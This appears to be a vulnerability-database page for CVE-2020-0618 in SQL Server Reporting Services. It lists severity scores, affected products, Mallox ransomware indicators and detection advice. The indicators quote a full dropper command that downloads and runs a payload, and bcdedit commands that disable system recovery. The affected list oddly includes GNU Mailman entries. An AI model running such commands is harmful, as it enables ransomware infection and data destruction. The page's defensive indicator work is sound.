cbcvebase.
CVE-2020-0618
published 2020-02-11

CVE-2020-0618: A remote code execution vulnerability exists in Microsoft SQL Server Reporting Services when it incorrectly handles page requests, aka 'Microsoft SQL Server…

PriorityP196high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
KEVITWEXPLOITRansomware
CISA Known Exploited Vulnerabilitydue 2024-10-09
Exploited in the wild
EPSS
99.02%
99.9th percentile
A remote code execution vulnerability exists in Microsoft SQL Server Reporting Services when it incorrectly handles page requests, aka 'Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability'.

Affected

16 ranges
VendorProductVersion rangeFixed in
gnumailman>= 0 < 1:2.1.20-1ubuntu0.41:2.1.20-1ubuntu0.4
gnumailman>= 0 < 1:2.1.26-1ubuntu0.11:2.1.26-1ubuntu0.1
microsoftmicrosoft_sql_server
microsoftmicrosoft_sql_server
microsoftmicrosoft_sql_server
microsoftmicrosoft_sql_server_2014_service_pack_3_for_32-bit_systems
microsoftmicrosoft_sql_server_2014_service_pack_3_for_x64-based_systems
microsoftmicrosoft_sql_server_2016_for_x64-based_systems_service_pack_2
microsoftsql_server
microsoftsql_server
microsoftsql_server
msrcmicrosoft_sql_server_2012_for_32-bit_systems_service_pack_4
msrcmicrosoft_sql_server_2012_for_x64-based_systems_service_pack_4
msrcmicrosoft_sql_server_2014_service_pack_3_for_32-bit_systems
msrcmicrosoft_sql_server_2014_service_pack_3_for_x64-based_systems
msrcmicrosoft_sql_server_2016_for_x64-based_systems_service_pack_2

Detection & IOCsextracted from sources · hover to see the quote

hash3d434b7cc9589c43d986bf0e1cadb956391b5f9a
hash9295a02c49aa50475aa7876ca80b3081a361ff7d
hash3fa79012dfdac626a19017ed6974316df13bc6ff
hash7e7957d7e7fd7c27b9fb903a0828b09cbb44c196
hash08a236455490d5246a880821ba33108c4ef00047
hash0d2711c5f8eb84bd9915a4191999afd46abca67a
hash0e45e8a5b25c756f743445f0317c6352d3c8040a
hash11d7779e77531eb27831e65c32798405746ccea1
hash246e7f798c3bfba81639384a58fa94174a08be80
hash273e40d0925af9ad6ca6d1c6a9d8e669a3bdc376
hash2a6f632ab771e7da8c551111e2df786979fd895d
hash2c49fa21b0a8415994412fe30e023907f8a7b46e
hash33c24486f41c3948fbd761e6f55210807af59a1f
hash4c863df8ea7446cb7fba6e582959bc3097f92b5c
hash4fcfb65cb757c83ed91bc01b3f663072a52da54b
hash5229a5d56836c3d3fc7fb12a43a431b5c90f771d
hash552862af77b204ac1f69b9e25937cc60e30e6c0f
hash5d0b9521cca0c911d49162e7f416a1463fbaefae
hash5d9cc0bc652b1d21858d2e4ddd35303cd9aeb2a3
hash63408c84c5d642cf1c5b643a97b84e22e18323c0
hash643918830b87691422d6d7bd669c408679411303
hash65d7cb5f1770b77b047baf376bd6b4cf86c5d42c
hash88eef50d85157f2e0552aab07cac7e7ec21680f5
hash88f8629423efe84e2935eb71d292e194be951a16
hash9d182e17f88e26cb0928e8d07d6544c2d17e99f5
hasha8886c9417b648944d2afd6b6c4941588d670e3c
hashdb3fd39fc826e87fa70840e86d5c12eef0fe0566
hashee15c76e07051c10059a14e03d18a6358966e290
hashfb05a6fafc28194d011a909d946b3efa64cdb4cf
domainwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion
ip104.21.76.77
ip104.237.62.211
ip172.67.191.103
ip64.185.227.155
ip80.66.75.37
filenameupdt.ps1
filenameKill-Delete.bat
filenameBwmeldokiller.bat
path%TEMP%\updt.ps1
commandbcdedit.exe /set {current} bootstatuspolicy ignoreallfailures
commandbcdedit.exe /set {current} recoveryenabled no
commandcmd.exe /C "echo $cl = New-Object System.Net.WebClient >%APPDATA%\alta.ps1 & echo $cl.DownloadFile("hxxp[:]///scavenger.exe", "%APPDATA%\box.bat") >> %APPDATA%\alta.ps1 & sqlps -ExecutionPolicy Bypass %APPDATA%\alta.ps1 & WMIC process call create "%APPDATA%\box.bat""
  • CVE-2020-0618 is exploited via the MS SQL Server Reporting Services (SSRS) page request handler; monitor for anomalous SSRS process spawning child processes (e.g., cmd.exe, powershell.exe) as an indicator of exploitation.
  • Post-exploitation dropper pattern: SQL Server process (sqlservr.exe or sqlps) spawning PowerShell with '-ExecutionPolicy Bypass' writing a script to %TEMP% or %APPDATA%, followed by WMIC process creation — strongly indicative of Mallox initial-stage execution after CVE-2020-0618 exploitation.
  • Detect ransomware defense-evasion via BCD tampering: alert on execution of 'bcdedit.exe /set {current} bootstatuspolicy ignoreallfailures' and 'bcdedit.exe /set {current} recoveryenabled no' from non-administrative maintenance contexts.
  • Hunt for creation of 'updt.ps1' in %TEMP% by SQL Server-related processes; this script is used to download and execute the Mallox ransomware payload.
  • Network detections: block or alert on outbound connections to Mallox C2/distribution IPs 104.21.76.77, 104.237.62.211, 172.67.191.103, 64.185.227.155, 80.66.75.37 and the Tor onion DLS domain.
  • ·CVE-2020-0618 affects Microsoft SQL Server Reporting Services (SSRS) versions 2012–2016 only; SQL Server database engine instances without SSRS exposed are not directly vulnerable to this specific CVE.
  • ·Mallox actors also use brute-force and dictionary attacks against MS-SQL in addition to CVE-2020-0618 exploitation; patching SSRS alone does not eliminate the Mallox initial-access risk if weak credentials remain.
  • ·The download URL pattern in the observed command (hXXp://80[.]66.75.40/...) is partially redacted/defanged in the source; the exact payload path is obfuscated and should not be treated as a static URL IOC.

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
osv5.4MEDIUM
vulncheck8.8HIGH
cisa8.8HIGH
vendor_msrc8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.